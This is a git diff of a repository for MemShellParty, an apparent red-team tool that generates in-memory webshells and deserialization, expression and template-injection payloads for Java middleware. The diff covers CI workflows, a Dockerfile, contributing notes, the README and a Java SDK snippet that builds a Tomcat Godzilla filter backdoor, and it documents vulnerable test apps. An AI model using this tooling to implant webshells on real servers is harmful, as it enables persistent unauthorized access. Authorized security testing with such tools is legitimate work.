||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
integration-test:
|
||||||
|
runs-on: ubuntu-22.04
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
if: ${{ inputs.depend_tasks != '' }}
|
||||||
|
run: ./gradlew ${{ inputs.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -1,79 +0,0 @@
|
|||||||
name: Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- 'boot/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
unit-test:
|
|
||||||
name: UniteTest
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
|
||||||
run: ./gradlew :generator:test
|
|
||||||
|
|
||||||
- name: Boot Unit Test with Gradle
|
|
||||||
run: ./gradlew :boot:test
|
|
||||||
|
|
||||||
integration-test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
middleware:
|
|
||||||
- tomcat
|
|
||||||
- jetty
|
|
||||||
- jbossas
|
|
||||||
- jbosseap
|
|
||||||
- wildfly
|
|
||||||
- glassfish
|
|
||||||
- resin
|
|
||||||
- payara
|
|
||||||
- websphere
|
|
||||||
- websphere7
|
|
||||||
- springmvc
|
|
||||||
- weblogic
|
|
||||||
- springwebflux
|
|
||||||
- xxljob
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
name: ${{ matrix.middleware }}
|
|
||||||
needs: [ unit-test ]
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
name: Unit-Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- 'generator/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
unit-test:
|
||||||
|
name: UniteTest
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Generator Unit Test with Gradle
|
||||||
|
run: ./gradlew :generator:test
|
||||||
|
|
||||||
|
- name: Boot Unit Test with Gradle
|
||||||
|
run: ./gradlew :boot:test
|
||||||
@@ -61,3 +61,4 @@ integration-test/**/apusic
|
|||||||
integration-test/**/bes
|
integration-test/**/bes
|
||||||
integration-test/**/tongweb
|
integration-test/**/tongweb
|
||||||
integration-test/**/inforsuite
|
integration-test/**/inforsuite
|
||||||
|
integration-test/**/primeton
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "libs"]
|
||||||
|
path = libs
|
||||||
|
url = https://github.com/ReaJason/javaweb-sources.git
|
||||||
-175
@@ -1,175 +0,0 @@
|
|||||||
# Changelog
|
|
||||||
|
|
||||||
All notable changes to this project will be documented in this file.
|
|
||||||
|
|
||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
||||||
|
|
||||||
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason(#41)
|
|
||||||
- 支持 CC3、CC4 反序列化 payload 打包方式
|
|
||||||
- 支持随机参数生成与默认选项(#50)
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 去除代码混淆相关代码
|
|
||||||
- 为了更好地在 MavenCentral 展示,重命名部分模块
|
|
||||||
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
|
|
||||||
- 移除 commons-codec 降低 boot 打包体积
|
|
||||||
- 升级 shadcn/ui 所有 component 代码
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
|
||||||
|
|
||||||
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
|
|
||||||
|
|
||||||
> 做代码生成以及代码混淆真是一件需要耐心的事情
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持自定义内存马生成 by @ReaJason(#49)
|
|
||||||
- 支持命令回显 ASM Agent 内存马 by @ReaJason(#51)
|
|
||||||
- 支持简易的代码混淆 by @ReaJason(#13)
|
|
||||||
- 支持自动发布 DEV 分支代码 CD
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 简化 Jetty 获取 Context 代码
|
|
||||||
- 优化 Dockerfile 减小镜像体积
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
|
|
||||||
|
|
||||||
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 NeoreGeorg 内存马生成 by @ReaJason
|
|
||||||
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 简化 Valve 内存马代码
|
|
||||||
- 升级 Gradle 8.13
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
|
|
||||||
|
|
||||||
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持缩小字节码 (移除调试信息) by @ReaJason
|
|
||||||
- 支持 Tomcat Jakarta WebSocket
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复自定义注入器类名不起作用
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
|
|
||||||
|
|
||||||
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 Tomcat WebSocket 注入报错,无法工作
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
|
|
||||||
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
|
|
||||||
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
|
|
||||||
- 代码重构支持一处注册所有 Server 的 Shell 配置
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
|
|
||||||
|
|
||||||
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- UI 中打包配置中添加 Loading 状态
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
|
|
||||||
|
|
||||||
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 移除无用依赖,JavaSocket,Gson
|
|
||||||
- Gradle 升级至 8.12.1
|
|
||||||
- 更新 TestContainers 和 Junit 的版本
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
|
|
||||||
|
|
||||||
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- UI 增强手机端响应式,增强 i18n 显示 (#39)
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
|
|
||||||
|
|
||||||
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 AntSword 内存马生成 by @ReaJason
|
|
||||||
- 添加 Java 反序列化其他 CB 版本 Payload 生成
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
|
|
||||||
- 部分 UI 调整
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复随机类名如果为保留字时会无法加载
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
|
|
||||||
|
|
||||||
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 Suo5 内存马生成 by @ReaJason
|
|
||||||
|
|
||||||
### Changed
|
|
||||||
|
|
||||||
- 升级 TailWind CSS v4
|
|
||||||
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- 修复 sonner 颜色主题未随着修改而变化
|
|
||||||
- 修复 IDEA 本地构建 version 一直是 unspecified
|
|
||||||
|
|
||||||
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
|
|
||||||
|
|
||||||
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
|
|
||||||
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
|
|
||||||
- 支持哥斯拉、冰蝎、命令执行功能
|
|
||||||
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
|
|
||||||
+23
-12
@@ -1,19 +1,27 @@
|
|||||||
|
## Contribute
|
||||||
|
|
||||||
|
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||||
|
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||||
|
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||||
|
|
||||||
### 目录结构
|
### 目录结构
|
||||||
|
|
||||||
- bom: 依赖版本管理,不用写到处写版本号就是舒服
|
|
||||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||||
- common:bytebuddy 等工具类存放
|
- memshell-party-common:bytebuddy/asm 等工具类存放
|
||||||
- generator:内存马生成核心
|
- generator:内存马生成核心
|
||||||
- deserialize:反序列化相关 gadget
|
- packer:常见漏洞 payload 生成
|
||||||
- integration-test:集成测试用例
|
- integration-test:集成测试用例
|
||||||
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
- memshell:内存功能类以及注入器
|
||||||
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
- memshell-agent:Agent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
|
||||||
- tools/behinder:冰蝎简易连接器
|
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
|
||||||
- tools/godzilla:哥斯拉简易连接器
|
|
||||||
- tools/suo5:Suo5 简易连接器
|
|
||||||
- web:使用 react 开发的 Web UI
|
- web:使用 react 开发的 Web UI
|
||||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||||
|
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
|
||||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||||
- vul/springboot*: springboot 相关靶场
|
- vul/springboot*: springboot 相关靶场
|
||||||
|
|
||||||
@@ -28,12 +36,15 @@
|
|||||||
# 运行集成测试用例,谨慎运行,用例太多了
|
# 运行集成测试用例,谨慎运行,用例太多了
|
||||||
./gradlew :integration-test:test --info
|
./gradlew :integration-test:test --info
|
||||||
|
|
||||||
# 仅运行 tomcat 下的集成测试用例
|
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
|
||||||
|
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :integration-test:test --tests '*.tomcat.*'
|
./gradlew :integration-test:test --tests '*.tomcat.*'
|
||||||
# 仅运行 jetty 下的集成测试用例
|
|
||||||
|
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
|
||||||
|
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :integration-test:test --tests '*.jetty.*'
|
./gradlew :integration-test:test --tests '*.jetty.*'
|
||||||
|
|
||||||
# 构建 war 包
|
# 构建靶场 war 包
|
||||||
./gradlew :vul:vul-webapp:war
|
./gradlew :vul:vul-webapp:war
|
||||||
./gradlew :vul:vul-webapp-jakarta:war
|
./gradlew :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :vul:vul-webapp-expression:war
|
./gradlew :vul:vul-webapp-expression:war
|
||||||
@@ -57,7 +68,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
|||||||
|
|
||||||
### Contribute Code
|
### Contribute Code
|
||||||
|
|
||||||
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
> 参考 GitHub Docs,https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||||
|
|
||||||
1. fork 当前项目
|
1. fork 当前项目
|
||||||
2. git clone 自己 fork 后的项目
|
2. git clone 自己 fork 后的项目
|
||||||
|
|||||||
+9
-13
@@ -1,14 +1,12 @@
|
|||||||
FROM buildpack-deps:bullseye-scm AS source
|
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
||||||
|
|
||||||
ARG VERSION="1.0.0"
|
|
||||||
ENV VERSION=${VERSION}
|
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
FROM oven/bun:1.2.2 AS frontend
|
# https://hub.docker.com/r/oven/bun
|
||||||
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -16,9 +14,9 @@ ARG CONTEXT_PATH=""
|
|||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
|
|
||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
@@ -26,10 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
|
|
||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
||||||
ARG VERSION="1.0.0"
|
|
||||||
ENV VERSION=${VERSION}
|
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -37,9 +33,9 @@ COPY --from=source /usr/src /usr/src
|
|||||||
|
|
||||||
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
||||||
|
|
||||||
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -1,48 +1,65 @@
|
|||||||
# MemShellParty
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
|
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||||
|
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||||
|
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
||||||
[](https://hub.docker.com/r/reajason/memshell-party)
|
[](https://hub.docker.com/r/reajason/memshell-party)
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.memshell.news)
|
[](https://party.mem.mk)
|
||||||
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
||||||
> 交流群,欢迎一起学习交流
|
> 交流群,欢迎一起学习交流。
|
||||||
|
|
||||||
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
|
||||||
|
|
||||||
希望你能从这个项目学会或尝试做的:
|
<p align="center">
|
||||||
|
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||
1. 学会编写常见中间件框架的内存马。
|
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
<img src="assets/about_page.png" alt="about_page" width="24%">
|
||||||
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
</p>
|
||||||
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|
||||||
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||||
- 高可用性:自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
|
||||||
- 最小化:尽可能精简内存马大小,高效传输。
|
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
|
||||||
- 强兼容性:覆盖攻防场景下常见中间件和框架。
|
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
|
||||||
|
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
|
||||||
|
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
|
||||||
|
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
|
||||||
|
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
|
||||||
|
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
|
||||||
|
|
||||||
## 快速使用
|
## 快速使用
|
||||||
|
|
||||||
|
### 使用前必看
|
||||||
|
|
||||||
|
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
||||||
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
|
GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
||||||
|
|
||||||
### 在线站点
|
### 在线站点
|
||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可直接访问 https://party.memshell.news,每次 Release 都会自动部署最新的镜像。
|
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
|
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -61,303 +78,10 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
## Special Thanks
|
||||||
|
|
||||||
```bash
|
|
||||||
# 移除之前部署的
|
|
||||||
docker rm -f memshell-party
|
|
||||||
|
|
||||||
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
### SDK 集成到现有工具中
|
|
||||||
|
|
||||||
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
|
|
||||||
|
|
||||||
1. 添加依赖,Maven Or Gradle
|
|
||||||
|
|
||||||
```xml
|
|
||||||
<!-- Maven Repo-->
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>generator</artifactId>
|
|
||||||
<version>1.7.0</version>
|
|
||||||
</dependency>
|
|
||||||
```
|
|
||||||
|
|
||||||
```groovy
|
|
||||||
// Gradle Repo
|
|
||||||
implementation 'io.github.reajason:generator:1.7.0'
|
|
||||||
```
|
|
||||||
|
|
||||||
2. 生成 Tomcat Godzilla Filter 内存马示例
|
|
||||||
|
|
||||||
```java
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
